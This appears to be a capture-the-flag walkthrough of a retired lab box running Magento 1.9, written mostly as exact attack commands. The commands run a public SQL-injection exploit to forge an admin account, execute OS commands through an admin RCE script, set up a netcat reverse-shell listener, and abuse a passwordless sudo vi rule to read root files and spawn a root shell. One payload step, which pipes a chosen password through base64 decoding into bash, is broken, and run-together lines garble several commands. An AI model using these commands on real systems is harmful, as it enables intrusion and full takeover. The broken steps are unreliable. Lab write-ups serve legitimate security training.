SwagShop
Summary
I discovered an unpatched Magento Community Edition 1.9 storefront and exploited a publicly documented unauthenticated SQL injection flaw to forge a rogue administrator account without knowing any credentials. With admin access, a second flaw in the Magento admin panel allowed arbitrary OS commands to be executed as the web server user.
A critical sudoers misconfiguration — granting the web server account the right to open files with vi as root, with no password — was then abused using a well-known editor escape combined with path traversal, delivering full root-level access and both flags.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
echo "$TARGET swagshop.htb" | sudo tee -a /etc/hostscurl -s http://swagshop.htb/ | grep -i magentocurl -s http://swagshop.htb/app/etc/local.xmlExact commands 3
searchsploit -m 37977awk 'BEGIN{p=0} /^import requests/{p=1} p{print}' 37977.py > shoplift_fixed.py && sed -i 's#^target = .*#target = "http://swagshop.htb/index.php"#' shoplift_fixed.py && head -37 shoplift_fixed.py > shoplift_run.pypython2 shoplift_run.pyFixMigrate away from end-of-life Magento 1.9 and apply all security patchesCritical
Exact commands 2
python3 magento_rce_requests.py 'http://swagshop.htb/index.php/admin' 'id'python3 magento_rce_requests.py 'http://swagshop.htb/index.php/admin' 'hostname && ip -4 addr'Exact commands 1
python3 magento_rce_requests.py 'http://swagshop.htb/index.php/admin' 'cat /home/haris/user.txt'Exact commands 1
python3 magento_rce_requests.py 'http://swagshop.htb/index.php/admin' 'sudo -l'FixRemove the NOPASSWD sudo rule granting www-data access to viCritical
Exact commands 2
nc -lvnp 4444python3 magento_rce_requests.py 'http://swagshop.htb/index.php/admin' "echo $PASSWORD|base64 -d|bash"Exact commands 3
sudo /usr/bin/vi /var/www/html/../../../../root/root.txt -c ':w! /var/www/html/rootproof.txt' -c ':q!'curl http://swagshop.htb/rootproof.txtsudo /usr/bin/vi /var/www/html/anything -c ':set shell=/bin/bash' -c ':shell'Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |